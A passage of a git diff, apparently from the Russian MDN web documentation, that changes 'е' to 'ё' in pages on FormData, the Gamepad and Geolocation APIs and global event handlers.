"Кирилл"]</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/formdata/index.html b/files/ru/web/api/formdata/index.html index d41f05327f..f523a5957c 100644 --- a/files/ru/web/api/formdata/index.html +++ b/files/ru/web/api/formdata/index.html @@ -65,14 +65,14 @@ translation_of: Web/API/FormData <tr> <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td> <td>{{Spec2('XMLHttpRequest')}}</td> - <td>FormData определен в XHR spec</td> + <td>FormData определён в XHR spec</td> </tr> </tbody> </table> <h2 id="Совместимость">Совместимость</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на слияние.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на слияние.</div> <p>{{Compat("api.FormData")}}</p> diff --git a/files/ru/web/api/formdata/set/index.html b/files/ru/web/api/formdata/set/index.html index e07505b0f1..e8af25b8de 100644 --- a/files/ru/web/api/formdata/set/index.html +++ b/files/ru/web/api/formdata/set/index.html @@ -28,7 +28,7 @@ formData.set(name, value, filename);</pre> <dt><code>value</code></dt> <dd>Значение, присваиваемое полю. В варианте с двумя параметрами, это <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>, если нет, то оно будет конвертировано. В варианте с тремя параметрами это может быть <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a>, <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a>, или <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd> <dt><code>filename </code>{{optional_inline}}</dt> - <dd>Имя файла, которое будет отправлено серверу (<a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>), когда <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a> прошел проверку как второй параметр. Стандартное имя файла для <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> объектов это "blob".</dd> + <dd>Имя файла, которое будет отправлено серверу (<a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>), когда <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a> прошёл проверку как второй параметр. Стандартное имя файла для <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> объектов это "blob".</dd> </dl> <div class="note"> @@ -37,7 +37,7 @@ formData.set(name, value, filename);</pre> <h2 id="Пример">Пример</h2> -<p>Следующий код создает пустой <code>FormData</code> объект:</p> +<p>Следующий код создаёт пустой <code>FormData</code> объект:</p> <pre class="brush: js">var formData = new FormData(); // Сейчас пустой</pre> diff --git a/files/ru/web/api/gamepad/buttons/index.html b/files/ru/web/api/gamepad/buttons/index.html index 90665213fb..a789d8d152 100644 --- a/files/ru/web/api/gamepad/buttons/index.html +++ b/files/ru/web/api/gamepad/buttons/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/Gamepad/buttons <h2 id="Пример">Пример</h2> -<p>Приведенный код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">посмотреть исходники на GitHub</a>). Важно — в Chrome <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Свойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a> необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> +<p>Приведённый код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">посмотреть исходники на GitHub</a>). Важно — в Chrome <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Свойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a> необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> <pre class="brush: js notranslate">function gameLoop() { if(navigator.webkitGetGamepads) { diff --git a/files/ru/web/api/gamepad/connected/index.html b/files/ru/web/api/gamepad/connected/index.html index 8170c0f537..9e2188d733 100644 --- a/files/ru/web/api/gamepad/connected/index.html +++ b/files/ru/web/api/gamepad/connected/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Gamepad/connected --- <p>{{APIRef("Gamepad API")}}</p> -<p>Свойство <code><strong>Gamepad.connected</strong></code> интерфейса {{domxref("Gamepad") }} возвращает логическое значение того, подключен ли всё ещё геймпад к системе.</p> +<p>Свойство <code><strong>Gamepad.connected</strong></code> интерфейса {{domxref("Gamepad") }} возвращает логическое значение того, подключён ли всё ещё геймпад к системе.</p> -<p>Если геймпад подключен - значение равно <code>true</code>; если нет - <code>false</code>.</p> +<p>Если геймпад подключён - значение равно <code>true</code>; если нет - <code>false</code>.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/gamepad/id/index.html b/files/ru/web/api/gamepad/id/index.html index ef66df6574..66be8d6484 100644 --- a/files/ru/web/api/gamepad/id/index.html +++ b/files/ru/web/api/gamepad/id/index.html @@ -7,14 +7,14 @@ translation_of: Web/API/Gamepad/id <p>Свойство<strong> <code>Gamepad.id</code></strong> интерфейса {{domxref("Gamepad") }} возвращает строку, содержащую некоторую информацию о контроллере.</p> -<p>Существующий синтаксис не стандартизирован, но в Firefox эта строка представляет собой три значения, разделенные тире (<code>-</code>):</p> +<p>Существующий синтаксис не стандартизирован, но в Firefox эта строка представляет собой три значения, разделённые тире (<code>-</code>):</p> <ul> - <li>Две четырехзначных шестнадцатеричных строки, содержащих USB vendor id (<code>VID</code>) и product id (<code>PID</code>) контроллера</li> + <li>Две четырёхзначных шестнадцатеричных строки, содержащих USB vendor id (<code>VID</code>) и product id (<code>PID</code>) контроллера</li> <li>Имя контроллера, предоставленное драйвером.</li> </ul> -<p>Например, PS2 контроллер вернет <code><strong>810-3-USB Gamepad</strong></code>.</p> +<p>Например, PS2 контроллер вернёт <code><strong>810-3-USB Gamepad</strong></code>.</p> <p>Эта информация позволяет вам найти соответствие для элементов управления контроллера, а также, отобразить полезную информацию для пользователя.</p> diff --git a/files/ru/web/api/gamepad/index.html b/files/ru/web/api/gamepad/index.html index 2059e361da..376c436448 100644 --- a/files/ru/web/api/gamepad/index.html +++ b/files/ru/web/api/gamepad/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Gamepad <p>Интерфейс <strong><code>Gamepad</code></strong> <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> определяет отдельный геймпад или контроллер, предоставляющий доступ к такой информации, как: нажатие кнопок, позиции осей, и id.</p> -<p>Объект <code>Gamepad</code> может быть возвращен в одном из двух случаев: как свойство <code>gamepad</code> событий {{event("gamepadconnected")}} и {{event("gamepaddisconnected")}}, или считыванием любой позиции в массиве, возвращенном методом {{domxref("Navigator.getGamepads()")}}.</p> +<p>Объект <code>Gamepad</code> может быть возвращён в одном из двух случаев: как свойство <code>gamepad</code> событий {{event("gamepadconnected")}} и {{event("gamepaddisconnected")}}, или считыванием любой позиции в массиве, возвращённом методом {{domxref("Navigator.getGamepads()")}}.</p> <h2 id="Свойства">Свойства</h2> @@ -17,11 +17,11 @@ translation_of: Web/API/Gamepad <dt>{{domxref("Gamepad.id")}} {{readonlyInline}}</dt> <dd>{{domxref("DOMString")}} содержит идентификационную информацию о контроллере.</dd> <dt>{{domxref("Gamepad.index")}} {{readonlyInline}}</dt> - <dd>Целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного в данный момент к системе.</dd> + <dd>Целое автоинкрементируемое значение, уникальное для каждого устройства, подключённого в данный момент к системе.</dd> <dt>{{domxref("Gamepad.mapping")}} {{readonlyInline}}</dt> <dd>Строка, указывающая, переназначил ли браузер элементы управления устройства на уже известный шаблон.</dd> <dt>{{domxref("Gamepad.connected")}} {{readonlyInline}}</dt> - <dd>Логическое свойство показывающее, подключен ли геймпад к системе в данный момент.</dd> + <dd>Логическое свойство показывающее, подключён ли геймпад к системе в данный момент.</dd> <dt>{{domxref("Gamepad.buttons")}} {{readonlyInline}}</dt> <dd>Массив объектов {{domxref("gamepadButton")}} представляющих кнопки устройства.</dd> <dt>{{domxref("Gamepad.axes")}} {{readonlyInline}}</dt> diff --git a/files/ru/web/api/gamepad/index/index.html b/files/ru/web/api/gamepad/index/index.html index 2e51e57342..e1022410b4 100644 --- a/files/ru/web/api/gamepad/index/index.html +++ b/files/ru/web/api/gamepad/index/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Gamepad/index --- <div>{{APIRef("Gamepad API")}}</div> -<p>Свойство <code><strong>Gamepad.index</strong></code> интерфейса {{domxref("Gamepad") }} возвращает целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного к системе.</p> +<p>Свойство <code><strong>Gamepad.index</strong></code> интерфейса {{domxref("Gamepad") }} возвращает целое автоинкрементируемое значение, уникальное для каждого устройства, подключённого к системе.</p> -<p>Это может быть полезно для распознавания нескольких контроллеров; отключенный, и подключенный заново геймпад, будет иметь тот же индекс.</p> +<p>Это может быть полезно для распознавания нескольких контроллеров; отключённый, и подключённый заново геймпад, будет иметь тот же индекс.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/gamepad_api/index.html b/files/ru/web/api/gamepad_api/index.html index 482b9e484c..553d593424 100644 --- a/files/ru/web/api/gamepad_api/index.html +++ b/files/ru/web/api/gamepad_api/index.html @@ -17,9 +17,9 @@ translation_of: Web/API/Gamepad_API <dl> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad" title="The Gamepad interface of the Gamepad API defines an individual gamepad or other controller, allowing access to information such as button presses, axis positions, and id."><code>Gamepad</code></a></dt> - <dd>Представляет собой геймпад/контроллер, подключенный к компьютеру.</dd> + <dd>Представляет собой геймпад/контроллер, подключённый к компьютеру.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadButton" title="The GamepadButton interface defines an individual button of a gamepad or other controller, allowing access to the current state of different types of buttons available on the control device."><code>GamepadButton</code></a></dt> - <dd>Представляет собой кнопку одного из подключенных контроллеров</dd> + <dd>Представляет собой кнопку одного из подключённых контроллеров</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadEvent" title="The GamepadEvent interface of the Gamepad API contains references to gamepads connected to the system, which is what the gamepad events Window.gamepadconnected and Window.gamepaddisconnected are fired in response to."><code>GamepadEvent</code></a></dt> <dd>Объект события, представляющий запущенные события, связанные с геймпадами.</dd> </dl> @@ -30,7 +30,7 @@ translation_of: Web/API/Gamepad_API <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadHapticActuator" title="The GamepadHapticActuator interface of the Gamepad API represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware."><code>GamepadHapticActuator</code></a></dt> <dd>Представляет собой аппаратное обеспечение в контроллере, предназначенное для обеспечения тактильной обратной связи с пользователем (если таковая имеется), чаще всего вибрационное оборудование.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadPose" title="The GamepadPose interface of the Gamepad API represents the pose of a WebVR controller at a given timestamp (which includes orientation, position, velocity, and acceleration information.)"><code>GamepadPose</code></a></dt> - <dd>Представляет собой позу контроллера (например, положение и ориентацию в трехмерном пространстве) в случае контроллера WebVR. Это не используется в более новом стандарте WebXR.</dd> + <dd>Представляет собой позу контроллера (например, положение и ориентацию в трёхмерном пространстве) в случае контроллера WebVR. Это не используется в более новом стандарте WebXR.</dd> </dl> <p>Сморите также <a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">extensions to the Gamepad interface</a> (расширения интерфейса геймпада) для функций, которые позволяют получить доступ к вышеуказанной информации.</p> @@ -41,7 +41,7 @@ translation_of: Web/API/Gamepad_API <dl> <dt>{{domxref("Navigator.getGamepads()")}}</dt> - <dd>Расширение объекта {{domxref("Navigator")}}, возвращающее массив объектов {{domxref("Gamepad")}} по одному для каждого подключенного геймпада.</dd> + <dd>Расширение объекта {{domxref("Navigator")}}, возвращающее массив объектов {{domxref("Gamepad")}} по одному для каждого подключённого геймпада.</dd> </dl> <h4 id="События_окна">События окна</h4> @@ -87,7 +87,7 @@ translation_of: Web/API/Gamepad_API <h2 id="Совместимость_браузера">Совместимость браузера</h2> -<div class="hidden">Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> <p>{{Compat("api.Gamepad")}}</p> diff --git a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html index 5db5305cc8..6bdbe4b071 100644 --- a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html +++ b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -7,14 +7,14 @@ translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API <p><span class="seoSummary">HTML5 представляет большое количество необходимых компонентов для полной и интерактивной разработки игр. Такие технологии, как <code><canvas></code>, WebGL, <code><audio></code>, и <code><video></code>, вместе с Javascript сейчас поддерживают большое количество задач, для которых раньше требовались нативные программы. Gamepad API - это способ получения данных с геймпада и других игровых контроллеров. </span></p> -<p><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> добавляет в объект {{ domxref("Window") }} новые события для получения событий контроллера. Дополнительно к этим событиям, API также добавляет объект {{ domxref("Gamepad") }}, который позволяет получить состояние подключенного контроллера, и метод {{ domxref("navigator.getGamepads()") }} который позволяет получить все контроллеры, определенные на странице браузера.</p> +<p><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> добавляет в объект {{ domxref("Window") }} новые события для получения событий контроллера. Дополнительно к этим событиям, API также добавляет объект {{ domxref("Gamepad") }}, который позволяет получить состояние подключённого контроллера, и метод {{ domxref("navigator.getGamepads()") }} который позволяет получить все контроллеры, определённые на странице браузера.</p> <h2 id="conntecting" name="conntecting">Подключение геймпада</h2> -<p>Когда новый геймпад подключается, на странице срабатывают события {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если геймпад уже был подключен к моменту загрузки страницы, события {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} сработают, когда пользователь нажмет на любую кнопку или передвинет стики. </p> +<p>Когда новый геймпад подключается, на странице срабатывают события {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если геймпад уже был подключён к моменту загрузки страницы, события {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} сработают, когда пользователь нажмёт на любую кнопку или передвинет стики. </p> <div class="blockIndicator geckoVersionNote"> -<p>В Firefox геймпад определяется только тогда, когда пользователь взаимодействует с ним, и при этом страница видна и в фокусе. Это помогает предотвратить использование геймпадов для идентификации пользователя. После взаимодействия с одним геймпадом другие подключенные геймпады будут автоматически видны.</p> +<p>В Firefox геймпад определяется только тогда, когда пользователь взаимодействует с ним, и при этом страница видна и в фокусе. Это помогает предотвратить использование геймпадов для идентификации пользователя. После взаимодействия с одним геймпадом другие подключённые геймпады будут автоматически видны.</p> </div> <p>Вы можете использовать {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} как в примере:</p> diff --git a/files/ru/web/api/gamepadbutton/index.html b/files/ru/web/api/gamepadbutton/index.html index a704963ab2..5aaad8795f 100644 --- a/files/ru/web/api/gamepadbutton/index.html +++ b/files/ru/web/api/gamepadbutton/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/GamepadButton <div>Интерфейс <code><strong>GamepadButton</strong></code> определяет отдельную кнопку геймпада или другого контроллера, позволяя получить доступ к текущему состоянию различных типов кнопок, доступных на устройстве</div> -<p>Объект <strong><code>GamepadButton</code></strong> возвращается путем получения любого элемента в массиве <code>buttons</code>, который является свойством интерфейса {{domxref("Gamepad")}}.</p> +<p>Объект <strong><code>GamepadButton</code></strong> возвращается путём получения любого элемента в массиве <code>buttons</code>, который является свойством интерфейса {{domxref("Gamepad")}}.</p> <div class="note"> <p><strong>Note</strong>: Это работает только в Firefox Gecko 28 и выше; Chrome и более ранние версии Firefox по-прежнему возвращают массив чисел с плавающей точкой</p> @@ -24,7 +24,7 @@ translation_of: Web/API/GamepadButton <h2 id="Пример">Пример</h2> -<p>Приведенный код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">посмотреть исходники на GitHub</a>). Важно — в Chrome {{domxref("Navigator.getGamepads")}} необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> +<p>Приведённый код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">посмотреть исходники на GitHub</a>). Важно — в Chrome {{domxref("Navigator.getGamepads")}} необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> <pre class="brush: js notranslate">function gameLoop() { if(navigator.webkitGetGamepads) { diff --git a/files/ru/web/api/gamepadevent/index.html b/files/ru/web/api/gamepadevent/index.html index b0317ba076..707c5b2685 100644 --- a/files/ru/web/api/gamepadevent/index.html +++ b/files/ru/web/api/gamepadevent/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/GamepadEvent --- <p>{{APIRef("Gamepad API")}}</p> -<p><code>GamepadEvent</code> интерфейс {{ domxref("Gamepad API")}} содержит ссылки на геймпады, подключенные к системе, передающиеся при возникновении событий <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a> и <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p> +<p><code>GamepadEvent</code> интерфейс {{ domxref("Gamepad API")}} содержит ссылки на геймпады, подключённые к системе, передающиеся при возникновении событий <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a> и <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/geolocation_api/index.html b/files/ru/web/api/geolocation_api/index.html index 3fcf298e7b..b9eadf1fda 100644 --- a/files/ru/web/api/geolocation_api/index.html +++ b/files/ru/web/api/geolocation_api/index.html @@ -10,7 +10,7 @@ original_slug: Web/API/Geolocation/Using_geolocation --- <div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div> -<p><strong>Geolocation API</strong> позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p> +<p><strong>Geolocation API</strong> позволяет пользователю предоставлять своё местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p> <h2 id="Концепты_и_использование">Концепты и использование</h2> diff --git a/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html b/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html index e7884d5784..c8d5463e7b 100644 --- a/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html +++ b/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html @@ -10,7 +10,7 @@ original_slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API --- <div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div> -<p>Geolocation API позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p> +<p>Geolocation API позволяет пользователю предоставлять своё местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p> <h2 id="Объект_геолокации">Объект геолокации</h2> @@ -41,7 +41,7 @@ original_slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API <h3 id="Наблюдение_за_текущим_местоположением">Наблюдение за текущим местоположением</h3> -<p>Если данные о местоположении меняются (либо устройство находится в движении, либо пришли более точные данные о геопозиции), вы можете указать callback функцию, которая будет вызывается при любом обновлении данных о местоположении. Это делается с использованием функции {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая имеет несколько входных параметров: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Эта функция вызывается много раз, позволяя браузеру обновлять данные о текущей локации либо во время движения, либо после получения более точной информации о местоположении (после применения более точных приемов). Функция, которая вызывается при ошибке, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, при желании, может быть вызвана неоднократно.</p> +<p>Если данные о местоположении меняются (либо устройство находится в движении, либо пришли более точные данные о геопозиции), вы можете указать callback функцию, которая будет вызывается при любом обновлении данных о местоположении. Это делается с использованием функции {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая имеет несколько входных параметров: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Эта функция вызывается много раз, позволяя браузеру обновлять данные о текущей локации либо во время движения, либо после получения более точной информации о местоположении (после применения более точных приёмов). Функция, которая вызывается при ошибке, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, при желании, может быть вызвана неоднократно.</p> <div class="note"> <p><strong>Примечание:</strong> Вы можете использовать {{domxref("Geolocation.watchPosition()","watchPosition()")}} без вызова {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p> diff --git a/files/ru/web/api/geolocationcoordinates/index.html b/files/ru/web/api/geolocationcoordinates/index.html index 11e04a464e..b8ed73803d 100644 --- a/files/ru/web/api/geolocationcoordinates/index.html +++ b/files/ru/web/api/geolocationcoordinates/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/GeolocationCoordinates --- <div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div> -<p>Интерфейс <strong><code>Coordinates</code></strong> отображает позицию устройства и его высоту над уровнем моря с расчетным уровнем точности.</p> +<p>Интерфейс <strong><code>Coordinates</code></strong> отображает позицию устройства и его высоту над уровнем моря с расчётным уровнем точности.</p> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/geolocationpositionerror/index.html b/files/ru/web/api/geolocationpositionerror/index.html index 55b2df9bf1..43ff2bceeb 100644 --- a/files/ru/web/api/geolocationpositionerror/index.html +++ b/files/ru/web/api/geolocationpositionerror/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/GeolocationPositionError <tr> <td><code>3</code></td> <td><code>TIMEOUT</code></td> - <td>Время, разрешенное для получения геолокации, определяется {{domxref ("PositionOptions.timeout")}} информация была достигнута до получения информации.</td> + <td>Время, разрешённое для получения геолокации, определяется {{domxref ("PositionOptions.timeout")}} информация была достигнута до получения информации.</td> </tr> </tbody> </table> diff --git a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html index 91a6e2bc07..c0c5fc87d8 100644 --- a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html +++ b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html @@ -74,7 +74,7 @@ translation_of: Web/API/GlobalEventHandlers/onanimationcancel </pre> </div> -<p>Опустим некоторые фрагменты CSS, не имеющие значение для нас, и рассмотрим стили для элемента, который мы анимируем. Это блок box со всеми своими свойствами, включая определенную анимацию {{cssxref("animation")}}. Мы продолжим и опишем анимацию прямо здесь, поскольку обычно она должна запускаться непосредственно при загрузке страницы, не зависимо от какого-либо другого события. </p> +<p>Опустим некоторые фрагменты CSS, не имеющие значение для нас, и рассмотрим стили для элемента, который мы анимируем. Это блок box со всеми своими свойствами, включая определённую анимацию {{cssxref("animation")}}. Мы продолжим и опишем анимацию прямо здесь, поскольку обычно она должна запускаться непосредственно при загрузке страницы, не зависимо от какого-либо другого события. </p> <pre class="brush: css">#box { width: var(--boxwidth); @@ -106,7 +106,7 @@ translation_of: Web/API/GlobalEventHandlers/onanimationcancel } </pre> -<p>Поскольку анимация описывается как бесконечное число раз, поочередное попеременное направление, поле будет скользить назад и вперед между двумя углами до тех пор, пока не остановится или страница не будет закрыта.</p> +<p>Поскольку анимация описывается как бесконечное число раз, поочерёдное попеременное направление, поле будет скользить назад и вперёд между двумя углами до тех пор, пока не остановится или страница не будет закрыта.</p> <h3 id="JavaScript_content">JavaScript content</h3> diff --git a/files/ru/web/api/globaleventhandlers/onerror/index.html b/files/ru/web/api/globaleventhandlers/onerror/index.html index 327a7d0d06..e870db3c68 100644 --- a/files/ru/web/api/globaleventhandlers/onerror/index.html +++ b/files/ru/web/api/globaleventhandlers/onerror/index.html @@ -39,7 +39,7 @@ translation_of: Web/API/GlobalEventHandlers/onerror <pre class="brush: js">// Пример 1: // Предотвращает диалоги об ошибках, отображает какая это функция окна, это нормальное -// поведение - путем переопределения обработчика событий по умолчанию для событий об ошибках, которые +// поведение - путём переопределения обработчика событий по умолчанию для событий об ошибках, которые // переходят окну. window.onerror = null; diff --git a/files/ru/web/api/globaleventhandlers/onloadend/index.html 